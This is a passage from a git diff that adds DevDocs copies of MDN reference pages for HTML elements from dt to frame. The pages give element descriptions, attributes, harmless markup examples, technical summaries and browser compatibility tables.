Each screen reader exposes <dl> content differently, including total count, terms/definitions context, and navigation methods. These differences are not necessarily bugs. As of iOS 14, VoiceOver will announce that <dl> content is a list when navigating with the virtual cursor (not via the read-all command). VoiceOver does not support list navigation commands with <dl>. Be careful applying ARIA term and definition roles to <dl> constructs as VoiceOver (macOS and iOS) will adjust how they are announced.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-dl-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dl1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dl +

+
diff --git a/devdocs/html/element%2Fdt.html b/devdocs/html/element%2Fdt.html new file mode 100644 index 00000000..b2f864d6 --- /dev/null +++ b/devdocs/html/element%2Fdt.html @@ -0,0 +1,63 @@ +

<dt>: The Description Term element

+

The <dt> HTML element specifies a term in a description or definition list, and as such must be used inside a <dl> element. It is usually followed by a <dd> element; however, multiple <dt> elements in a row indicate several terms that are all defined by the immediate next <dd> element.

The subsequent <dd> (Description Details) element provides the definition or other related text associated with the term specified using <dt>.

+
+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+

For examples, see the examples provided for the <dl> element.

+

Technical summary

+
Content categories None.
Permitted content Flow content, but with no <header>, <footer>, sectioning content or heading content descendants.
Tag omission The start tag is required. The end tag may be omitted if this element is immediately followed by another <dt> element or a <dd> element, or if there is no more content in the parent element.
Permitted parents A <dl> or (in WHATWG HTML, W3C HTML 5.2 and later) a <div> that is a child of a <dl>.
This element can be used before a <dd> or another <dt> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles listitem
DOM interface HTMLElement Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the HTMLSpanElement interface for this element.
+

Specifications

+
+ + +
Specification
HTML Standard
# the-dt-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dt1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/dt +

+
diff --git a/devdocs/html/element%2Fem.html b/devdocs/html/element%2Fem.html new file mode 100644 index 00000000..c96cbf80 --- /dev/null +++ b/devdocs/html/element%2Fem.html @@ -0,0 +1,84 @@ +

<em>: The Emphasis element

The <em> HTML element marks text that has stress emphasis. The <em> element can be nested, with each level of nesting indicating a greater degree of emphasis.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

The <em> element is for words that have a stressed emphasis compared to surrounding text, which is often limited to a word or words of a sentence and affects the meaning of the sentence itself.

Typically this element is displayed in italic type. However, it should not be used to apply italic styling; use the CSS font-style property for that purpose. Use the <cite> element to mark the title of a work (book, play, song, etc.). Use the <i> element to mark text that is in an alternate tone or mood, which covers many common situations for italics such as scientific names or words in other languages. Use the <strong> element to mark text that has greater importance than surrounding text.

+
+

<i> vs. <em>

+
+

Some developers may be confused by how multiple elements seemingly produce similar visual results. <em> and <i> are a common example, since they both italicize text. What's the difference? Which should you use?

By default, the visual result is the same. However, the semantic meaning is different. The <em> element represents stress emphasis of its contents, while the <i> element represents text that is set off from the normal prose, such as a foreign word, fictional character thoughts, or when the text refers to the definition of a word instead of representing its semantic meaning. (The title of a work, such as the name of a book or movie, should use <cite>.)

This means the right one to use depends on the situation. Neither is for purely decorative purposes, that's what CSS styling is for.

An example for <em> could be: "Just do it already!", or: "We had to do something about it". A person or software reading the text would pronounce the words in italics with an emphasis, using verbal stress.

An example for <i> could be: "The Queen Mary sailed last night". Here, there is no added emphasis or importance on the word "Queen Mary". It is merely indicated that the object in question is not a queen named Mary, but a ship named Queen Mary. Another example for <i> could be: "The word the is an article".

+
+

Examples

+
+

In this example, the <em> element is used to highlight an implicit or explicit contrast between two ingredient lists:

+

html

+
<p>
+  Ice cream is made with milk, sweetener, and cream. Frozen custard, on the
+  other hand, is made of milk, cream, sweetener, and <em>egg yolks</em>.
+</p>
+
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role emphasis
Permitted ARIA roles Any
DOM interface HTMLElement Up to Gecko 1.9.2 (Firefox 4) inclusive, Firefox implements the HTMLSpanElement interface for this element.
+

Specifications

+
+ + +
Specification
HTML Standard
# the-em-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
em1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/em +

+
diff --git a/devdocs/html/element%2Fembed.html b/devdocs/html/element%2Fembed.html new file mode 100644 index 00000000..f89fc0d6 --- /dev/null +++ b/devdocs/html/element%2Fembed.html @@ -0,0 +1,171 @@ +

<embed>: The Embed External Content element

The <embed> HTML element embeds external content at the specified point in the document. This content is provided by an external application or other source of interactive content such as a browser plug-in.

+

Try it

+
+

Note: This topic documents only the element that is defined as part of the HTML Living Standard. It does not address earlier, non-standardized implementation of the element.

Keep in mind that most modern browsers have deprecated and removed support for browser plug-ins, so relying upon <embed> is generally not wise if you want your site to be operable on the average user's browser.

+
+

Attributes

+
+

This element's attributes include the global attributes.

height

The displayed height of the resource, in CSS pixels. This must be an absolute value; percentages are not allowed.

src

The URL of the resource being embedded.

type

The MIME type to use to select the plug-in to instantiate.

width

The displayed width of the resource, in CSS pixels. This must be an absolute value; percentages are not allowed.

+
+

Usage notes

+

You can use the object-position property to adjust the positioning of the embedded object within the element's frame, and the object-fit property to control how the object's size is adjusted to fit within the frame.

+

Examples

+
+

html

+
<embed
+  type="video/quicktime"
+  src="movie.mov"
+  width="640"
+  height="480"
+  title="Title of my video" />
+
+
+

Accessibility concerns

+

Use the title attribute on an embed element to label its content so that people navigating with assistive technology such as a screen reader can understand what it contains. The title's value should concisely describe the embedded content. Without a title, they may not be able to determine what its embedded content is. This context shift can be confusing and time-consuming, especially if the embed element contains interactive content like video or audio.

+

Technical summary

+
Content categories Flow content, phrasing content, embedded content, interactive content, palpable content.
Permitted content None; it is a void element.
Tag omission Must have a start tag, and must not have an end tag.
Permitted parents Any element that accepts embedded content.
Implicit ARIA role No corresponding role
Permitted ARIA roles application, document, img, none, presentation
DOM interface HTMLEmbedElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-embed-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
embed1121Yes≤12.1≤44.4184≤12.1≤3.21.0
align1791No≤12.1≤44.4184≤12.1≤3.21.0
height1121≤6≤12.1≤44.4184≤12.1≤3.21.0
name1121≤6≤12.1≤44.4184≤12.1≤3.21.0
src1121≤6≤12.1≤44.4184≤12.1≤3.21.0
type1791No≤12.1≤44.4184≤12.1≤3.21.0
width1121≤6≤12.1≤44.4184≤12.1≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed +

+
diff --git a/devdocs/html/element%2Ffieldset.html b/devdocs/html/element%2Ffieldset.html new file mode 100644 index 00000000..479f0323 --- /dev/null +++ b/devdocs/html/element%2Ffieldset.html @@ -0,0 +1,158 @@ +

<fieldset>: The Field Set element

The <fieldset> HTML element is used to group several controls as well as labels (<label>) within a web form.

+

Try it

+
+

As the example above shows, the <fieldset> element provides a grouping for a part of an HTML form, with a nested <legend> element providing a caption for the <fieldset>. It takes few attributes, the most notable of which are form, which can contain the id of a <form> on the same page, allowing you to make the <fieldset> part of that <form> even if it is not nested inside it, and disabled, which allows you to disable the <fieldset> and all its contents in one go.

+
+

Attributes

+
+

This element includes the global attributes.

disabled

If this Boolean attribute is set, all form controls that are descendants of the <fieldset>, are disabled, meaning they are not editable and won't be submitted along with the <form>. They won't receive any browsing events, like mouse clicks or focus-related events. By default browsers display such controls grayed out. Note that form elements inside the <legend> element won't be disabled.

form

This attribute takes the value of the id attribute of a <form> element you want the <fieldset> to be part of, even if it is not inside the form. Please note that usage of this is confusing — if you want the <input> elements inside the <fieldset> to be associated with the form, you need to use the form attribute directly on those elements. You can check which elements are associated with a form via JavaScript, using HTMLFormElement.elements.

name

The name associated with the group.

Note: The caption for the fieldset is given by the first <legend> element nested inside it.

+
+

Styling with CSS

+
+

There are several special styling considerations for <fieldset>.

Its display value is block by default, and it establishes a block formatting context. If the <fieldset> is styled with an inline-level display value, it will behave as inline-block, otherwise it will behave as block. By default there is a 2px groove border surrounding the contents, and a small amount of default padding. The element has min-inline-size: min-content by default.

If a <legend> is present, it is placed over the block-start border. The <legend> shrink-wraps, and also establishes a formatting context. The display value is blockified. (For example, display: inline behaves as block.)

There will be an anonymous box holding the contents of the <fieldset>, which inherits certain properties from the <fieldset>. If the <fieldset> is styled with display: grid or display: inline-grid, then the anonymous box will be a grid formatting context. If the <fieldset> is styled with display: flex or display: inline-flex, then the anonymous box will be a flex formatting context. Otherwise, it establishes a block formatting context.

You can feel free to style the <fieldset> and <legend> in any way you want to suit your page design.

+
+

Examples

+ +

Simple fieldset

+
+

This example shows a really simple <fieldset> example, with a <legend>, and a single control inside it.

+

html

+
<form action="#">
+  <fieldset>
+    <legend>Do you agree?</legend>
+    <input type="checkbox" id="chbx" name="agree" value="Yes!" />
+    <label for="chbx">I agree</label>
+  </fieldset>
+</form>
+
+

Result

+
+ + +
+
+

Disabled fieldset

+
+

This example shows a disabled <fieldset> with two controls inside it. Note how both the controls are disabled due to being inside a disabled <fieldset>.

+

html

+
<form action="#">
+  <fieldset disabled>
+    <legend>Disabled login fieldset</legend>
+    <div>
+      <label for="name">Name: </label>
+      <input type="text" id="name" value="Chris" />
+    </div>
+    <div>
+      <label for="pwd">Archetype: </label>
+      <input type="password" id="pwd" value="Wookie" />
+    </div>
+  </fieldset>
+</form>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, sectioning root, listed, form-associated element, palpable content.
Permitted content An optional <legend> element, followed by flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content.
Implicit ARIA role group
Permitted ARIA roles radiogroup, presentation, none
DOM interface HTMLFieldSetElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-fieldset-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
fieldset
1Before version 86, this element did not support flexbox and grid layouts within this element. See bug 262679.
12Before version 86, this element did not support flexbox and grid layouts within this element. See bug 4511145.
1Yes≤15≤4
4.4Before version 86, this element did not support flexbox and grid layouts within this element. See bug 262679.
18Before version 86, this element did not support flexbox and grid layouts within this element. See bug 262679.
4≤14≤3.2
1.0Before version 14.0, this element did not support flexbox and grid layouts within this element. See bug 262679.
disabled20
12Does not work with nested fieldsets. For example: <fieldset disabled><fieldset><!--Still enabled--></fieldset></fieldset>
4
YesNot all form control descendants of a disabled fieldset are properly disabled in IE11; see IE bug 817488: input[type='file'] not disabled inside disabled fieldset and IE bug 962368: Can still edit input[type='text'] within fieldset[disabled].
1264.42541261.5
form1121Yes1534.41841421.0
name19124Yes1564.42541461.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/fieldset +

+
diff --git a/devdocs/html/element%2Ffigcaption.html b/devdocs/html/element%2Ffigcaption.html new file mode 100644 index 00000000..87703d5e --- /dev/null +++ b/devdocs/html/element%2Ffigcaption.html @@ -0,0 +1,62 @@ +

<figcaption>: The Figure Caption element

The <figcaption> HTML element represents a caption or legend describing the rest of the contents of its parent <figure> element.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Examples

+

Please see the <figure> page for examples on <figcaption>.

+

Technical summary

+
Content categories None.
Permitted content +Flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents A <figure> element; the <figcaption> element must be its first or last child.
Implicit ARIA role No corresponding role
Permitted ARIA roles group, none, presentation
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-figcaption-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
figcaption81249115.14.41841151.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figcaption +

+
diff --git a/devdocs/html/element%2Ffigure.html b/devdocs/html/element%2Ffigure.html new file mode 100644 index 00000000..bdfbc04b --- /dev/null +++ b/devdocs/html/element%2Ffigure.html @@ -0,0 +1,148 @@ +

<figure>: The Figure with Optional Caption element

The <figure> HTML element represents self-contained content, potentially with an optional caption, which is specified using the <figcaption> element. The figure, its caption, and its contents are referenced as a single unit.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+ +

Images

+
+
+

html

+
<!-- Just an image -->
+<figure>
+  <img src="favicon-192x192.png" alt="The beautiful MDN logo." />
+</figure>
+
+<!-- Image with a caption -->
+<figure>
+  <img src="favicon-192x192.png" alt="The beautiful MDN logo." />
+  <figcaption>MDN Logo</figcaption>
+</figure>
+
+

Result

+
+ + +
+
+

Code snippets

+
+
+

html

+
<figure>
+  <figcaption>Get browser details using <code>navigator</code>.</figcaption>
+  <pre>
+function NavigatorExample() {
+  var txt;
+  txt = "Browser CodeName: " + navigator.appCodeName + "; ";
+  txt+= "Browser Name: " + navigator.appName + "; ";
+  txt+= "Browser Version: " + navigator.appVersion  + "; ";
+  txt+= "Cookies Enabled: " + navigator.cookieEnabled  + "; ";
+  txt+= "Platform: " + navigator.platform  + "; ";
+  txt+= "User-agent header: " + navigator.userAgent  + "; ";
+  console.log("NavigatorExample", txt);
+}
+  </pre>
+</figure>
+
+

Result

+
+ + +
+
+

Quotations

+
+
+

html

+
<figure>
+  <figcaption><b>Edsger Dijkstra:</b></figcaption>
+  <blockquote>
+    If debugging is the process of removing software bugs, then programming must
+    be the process of putting them in.
+  </blockquote>
+</figure>
+
+

Result

+
+ + +
+
+

Poems

+
+
+

html

+
<figure>
+  <p style="white-space:pre">
+    Bid me discourse, I will enchant thine ear, Or like a fairy trip upon the
+    green, Or, like a nymph, with long dishevelled hair, Dance on the sands, and
+    yet no footing seen: Love is a spirit all compact of fire, Not gross to
+    sink, but light, and will aspire.
+  </p>
+  <figcaption><cite>Venus and Adonis</cite>, by William Shakespeare</figcaption>
+</figure>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, palpable content.
Permitted content A <figcaption> element, followed by flow content; or flow content followed by a <figcaption> element; or flow content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts Flow content.
Implicit ARIA role figure
Permitted ARIA roles With no figcaption descendant: any, otherwise no permitted roles
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-figure-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
figure81249115.14.41841151.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/figure +

+
diff --git a/devdocs/html/element%2Ffont.html b/devdocs/html/element%2Ffont.html new file mode 100644 index 00000000..c1951033 --- /dev/null +++ b/devdocs/html/element%2Ffont.html @@ -0,0 +1,112 @@ +

<font>

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <font> HTML element defines the font size, color and face for its content.

Warning: Do not use this element. Use the CSS Fonts properties to style text.

+
+

Attributes

+
+

Like all other HTML elements, this element supports the global attributes.

+color +

This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.

+face +

This attribute contains a comma-separated list of one or more font names. The document text in the default style is rendered in the first font face that the client's browser supports. If no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.

+size +

This attribute specifies the font size as either a numeric or relative value. Numeric values range from 1 to 7 with 1 being the smallest and 3 the default. It can be defined using a relative value, like +2 or -3, which sets it relative to 3, the default value.

+
+

DOM interface

+

This element implements the HTMLFontElement interface.

+

Specifications

+
+ + +
Specification
HTML Standard
# font
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
font1121Yes15≤44.418414≤3.21.0
color1121Yes15≤44.418414≤3.21.0
face1121Yes15≤44.418414≤3.21.0
size1121Yes15≤44.418414≤3.21.0
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/font +

+
diff --git a/devdocs/html/element%2Ffooter.html b/devdocs/html/element%2Ffooter.html new file mode 100644 index 00000000..53884150 --- /dev/null +++ b/devdocs/html/element%2Ffooter.html @@ -0,0 +1,101 @@ +

<footer>

The <footer> HTML element represents a footer for its nearest ancestor sectioning content or sectioning root element. A <footer> typically contains information about the author of the section, copyright data or links to related documents.

+

Try it

+
+
Content categories +Flow content, palpable content.
Permitted content Flow content, but with no <footer> or <header> descendants.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content. Note that a <footer> element must not be a descendant of an <address>, <header> or another <footer> element.
Implicit ARIA role contentinfo, or generic if a descendant of an article, aside, main, nav or section element, or an element with role=article, complementary, main, navigation or region
Permitted ARIA roles group, presentation or none
DOM interface HTMLElement
+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

Examples

+
+
+

html

+
<body>
+  <h3>FIFA World Cup top goalscorers</h3>
+  <ol>
+    <li>Miroslav Klose, 16</li>
+    <li>Ronaldo Nazário, 15</li>
+    <li>Gerd Müller, 14</li>
+  </ol>
+
+  <footer>
+    <small>
+      Copyright © 2023 Football History Archives. All Rights Reserved.
+    </small>
+  </footer>
+</body>
+
+
+

css

+
footer {
+  text-align: center;
+  padding: 5px;
+  background-color: #abbaba;
+  color: #000;
+}
+
+
+
+ + +
+
+

Accessibility concerns

+
+

Prior to the release of Safari 13, the contentinfo landmark role was not properly exposed by VoiceOver. If needing to support legacy Safari browsers, add role="contentinfo" to the footer element to ensure the landmark will be properly exposed.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-footer-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
footer5124911.154.418411.14.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/footer +

+
diff --git a/devdocs/html/element%2Fform.html b/devdocs/html/element%2Fform.html new file mode 100644 index 00000000..73813bd6 --- /dev/null +++ b/devdocs/html/element%2Fform.html @@ -0,0 +1,292 @@ +

<form>: The Form element

The <form> HTML element represents a document section containing interactive controls for submitting information.

+

Try it

+
+

It is possible to use the :valid and :invalid CSS pseudo-classes to style a <form> element based on whether the elements inside the form are valid.

+
+

Attributes

+
+

This element includes the global attributes.

+accept +

Comma-separated content types the server accepts.

Note: This attribute has been deprecated and should not be used. Instead, use the accept attribute on <input type=file> elements.

accept-charset

Space-separated character encodings the server accepts. The browser uses them in the order in which they are listed. The default value means the same encoding as the page. (In previous versions of HTML, character encodings could also be delimited by commas.)

+autocapitalize +

A nonstandard attribute used by iOS Safari that controls how textual form elements should be automatically capitalized. autocapitalize attributes on a form elements override it on <form>. Possible values:

  • +none: No automatic capitalization.
  • +sentences (default): Capitalize the first letter of each sentence.
  • +words: Capitalize the first letter of each word.
  • +characters: Capitalize all characters — that is, uppercase.
autocomplete

Indicates whether input elements can by default have their values automatically completed by the browser. autocomplete attributes on form elements override it on <form>. Possible values:

  • +off: The browser may not automatically complete entries. (Browsers tend to ignore this for suspected login forms; see The autocomplete attribute and login fields.)
  • +on: The browser may automatically complete entries.
name

The name of the form. The value must not be the empty string, and must be unique among the form elements in the forms collection that it is in, if any.

rel

Controls the annotations and what kinds of links the form creates. Annotations include external, nofollow, opener, noopener, and noreferrer. Link types include help, prev, next, search, and license. The rel value is a space-separated list of these enumerated values.

+
+

Attributes for form submission

+
+

The following attributes control behavior during form submission.

action

The URL that processes the form submission. This value can be overridden by a formaction attribute on a <button>, <input type="submit">, or <input type="image"> element. This attribute is ignored when method="dialog" is set.

enctype

If the value of the method attribute is post, enctype is the MIME type of the form submission. Possible values:

  • +application/x-www-form-urlencoded: The default value.
  • +multipart/form-data: Use this if the form contains <input> elements with type=file.
  • +text/plain: Useful for debugging purposes.

This value can be overridden by formenctype attributes on <button>, <input type="submit">, or <input type="image"> elements.

method

The HTTP method to submit the form with. The only allowed methods/values are (case insensitive):

  • +post: The POST method; form data sent as the request body.
  • +get (default): The GET; form data appended to the action URL with a ? separator. Use this method when the form has no side effects.
  • +dialog: When the form is inside a <dialog>, closes the dialog and causes a submit event to be fired on submission, without submitting data or clearing the form.

This value is overridden by formmethod attributes on <button>, <input type="submit">, or <input type="image"> elements.

novalidate

This Boolean attribute indicates that the form shouldn't be validated when submitted. If this attribute is not set (and therefore the form is validated), it can be overridden by a formnovalidate attribute on a <button>, <input type="submit">, or <input type="image"> element belonging to the form.

target

Indicates where to display the response after submitting the form. It is a name/keyword for a browsing context (for example, tab, window, or iframe). The following keywords have special meanings:

  • +_self (default): Load into the same browsing context as the current one.
  • +_blank: Load into a new unnamed browsing context. This provides the same behavior as setting rel="noopener" which does not set window.opener.
  • +_parent: Load into the parent browsing context of the current one. If no parent, behaves the same as _self.
  • +_top: Load into the top-level browsing context (i.e., the browsing context that is an ancestor of the current one and has no parent). If no parent, behaves the same as _self.

This value can be overridden by a formtarget attribute on a <button>, <input type="submit">, or <input type="image"> element.

+
+

Examples

+
+

html

+
<!-- Form which will send a GET request to the current URL -->
+<form method="get">
+  <label>
+    Name:
+    <input name="submitted-name" autocomplete="name" />
+  </label>
+  <button>Save</button>
+</form>
+
+<!-- Form which will send a POST request to the current URL -->
+<form method="post">
+  <label>
+    Name:
+    <input name="submitted-name" autocomplete="name" />
+  </label>
+  <button>Save</button>
+</form>
+
+<!-- Form with fieldset, legend, and label -->
+<form method="post">
+  <fieldset>
+    <legend>Do you agree to the terms?</legend>
+    <label><input type="radio" name="radio" value="yes" /> Yes</label>
+    <label><input type="radio" name="radio" value="no" /> No</label>
+  </fieldset>
+</form>
+
+
+

Result

+
+ + +
+

Technical summary

+
Content categories Flow content, palpable content
Permitted content +Flow content, but not containing <form> elements
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content
Implicit ARIA role form
Permitted ARIA roles search, none or presentation
DOM interface HTMLFormElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-form-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
form1121Yes15≤44.418414≤3.21.0
accept1121Yes1534.41841421.0
accept-charset1121Yes1534.41841421.0
action1121Yes15≤44.418414≤3.21.0
autocapitalize4379111No30No434311130Yes4.0
autocomplete
14The Google Chrome UI for auto-complete request varies, depending on whether autocomplete is set to off on <input> elements as well as their form. Specifically, when a form has autocomplete set to off and its <input> element's autocomplete attribute is not set, then if the user asks for autofill suggestions for the <input> element, Chrome might display a message saying 'autocomplete has been disabled for this form.' On the other hand, if both the form and the input element have autocomplete set to off, the browser will not display that message. For this reason, you should set autocomplete to off for each <input> that has custom auto-completion.
124Yes
15The Opera UI for auto-complete request varies, depending on whether autocomplete is set to off on <input> elements as well as their form. Specifically, when a form has autocomplete set to off and its <input> element's autocomplete attribute is not set, then if the user asks for autofill suggestions for the <input> element, Opera might display a message saying 'autocomplete has been disabled for this form.' On the other hand, if both the form and the input element have autocomplete set to off, the browser will not display that message. For this reason, you should set autocomplete to off for each <input> that has custom auto-completion.
6
4.4The Google Chrome UI for auto-complete request varies, depending on whether autocomplete is set to off on <input> elements as well as their form. Specifically, when a form has autocomplete set to off and its <input> element's autocomplete attribute is not set, then if the user asks for autofill suggestions for the <input> element, Chrome might display a message saying 'autocomplete has been disabled for this form.' On the other hand, if both the form and the input element have autocomplete set to off, the browser will not display that message. For this reason, you should set autocomplete to off for each <input> that has custom auto-completion.
18The Google Chrome UI for auto-complete request varies, depending on whether autocomplete is set to off on <input> elements as well as their form. Specifically, when a form has autocomplete set to off and its <input> element's autocomplete attribute is not set, then if the user asks for autofill suggestions for the <input> element, Chrome might display a message saying 'autocomplete has been disabled for this form.' On the other hand, if both the form and the input element have autocomplete set to off, the browser will not display that message. For this reason, you should set autocomplete to off for each <input> that has custom auto-completion.
4
14The Opera UI for auto-complete request varies, depending on whether autocomplete is set to off on <input> elements as well as their form. Specifically, when a form has autocomplete set to off and its <input> element's autocomplete attribute is not set, then if the user asks for autofill suggestions for the <input> element, Opera might display a message saying 'autocomplete has been disabled for this form.' On the other hand, if both the form and the input element have autocomplete set to off, the browser will not display that message. For this reason, you should set autocomplete to off for each <input> that has custom auto-completion.
6
1.0The Samsung Internet UI for auto-complete request varies, depending on whether autocomplete is set to off on <input> elements as well as their form. Specifically, when a form has autocomplete set to off and its <input> element's autocomplete attribute is not set, then if the user asks for autofill suggestions for the <input> element, Samsung Internet might display a message saying 'autocomplete has been disabled for this form.' On the other hand, if both the form and the input element have autocomplete set to off, the browser will not display that message. For this reason, you should set autocomplete to off for each <input> that has custom auto-completion.
enctype1121Yes1534.41841421.0
method1121Yes1534.41841421.0
name1121Yes1534.41841421.0
novalidate10124101510.1371841410.31.0
rel108108111No9415.41081081117315.421.0
target1121Yes1534.41841421.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form +

+
diff --git a/devdocs/html/element%2Fframe.html b/devdocs/html/element%2Fframe.html new file mode 100644 index 00000000..085421d9 --- /dev/null +++ b/devdocs/html/element%2Fframe.html @@ -0,0 +1,199 @@ +

<frame>

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <frame> HTML element defines a particular area in which another HTML document can be displayed. A frame should be used within a <frameset>.

Using the <frame> element is not encouraged because of certain disadvantages such as performance problems and lack of accessibility for users with screen readers. Instead of the <frame> element, <iframe> may be preferred.

+
+

Attributes

+
+

Like all other HTML elements, this element supports the global attributes.

+src +

This attribute specifies the document that will be displayed by the frame.

+name +

This attribute is used for labeling frames. Without labeling, every link will open in the frame that it's in – the closest parent frame. See the target attribute for more information.

+noresize +

This attribute prevents resizing of frames by users.

+scrolling +

